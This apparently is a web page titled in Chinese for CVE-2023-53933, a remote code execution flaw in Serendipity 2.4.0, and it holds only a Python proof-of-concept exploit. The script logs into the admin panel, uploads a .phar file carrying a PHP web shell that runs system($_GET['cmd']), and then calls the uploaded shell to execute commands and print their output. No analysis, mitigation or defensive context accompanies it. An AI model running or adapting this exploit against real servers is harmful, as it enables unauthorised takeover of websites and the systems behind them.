CVE-2023-53933 Serendipity 2.4.0 远程代码执行漏洞

import requests import sys # CVE-2023-53933 PoC - Serendipity 2.4.0 Authenticated RCE via .phar upload target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com/serendipity' username = 'attacker' password = 'password' session = requests.Session() # Step 1: Login login_url = f'{target}/serendipity_admin.php' login_data = {'serendipity[user]': username, 'serendipity[pass]': password} resp = session.post(login_url, data=login_data) # Step 2: Upload malicious .phar file upload_url = f'{target}/serendipity_admin.php?adminModule=media' # PHP payload: system($_GET['cmd']) payload = b'<?php system($_GET["cmd"]); ?>' files = {'serendipity[userfile]': ('shell.phar', payload, 'application/octet-stream')} resp = session.post(upload_url, files=files) # Step 3: Extract uploaded file path from response and execute command if 'upload' in resp.text.lower() or resp.status_code == 200: print('[+] File uploaded successfully') # Access the uploaded file to execute commands cmd = 'whoami' shell_url = f'{target}/uploads/shell.phar?cmd={cmd}' rce_resp = session.get(shell_url) print(f'[+] Command output: {rce_resp.text}')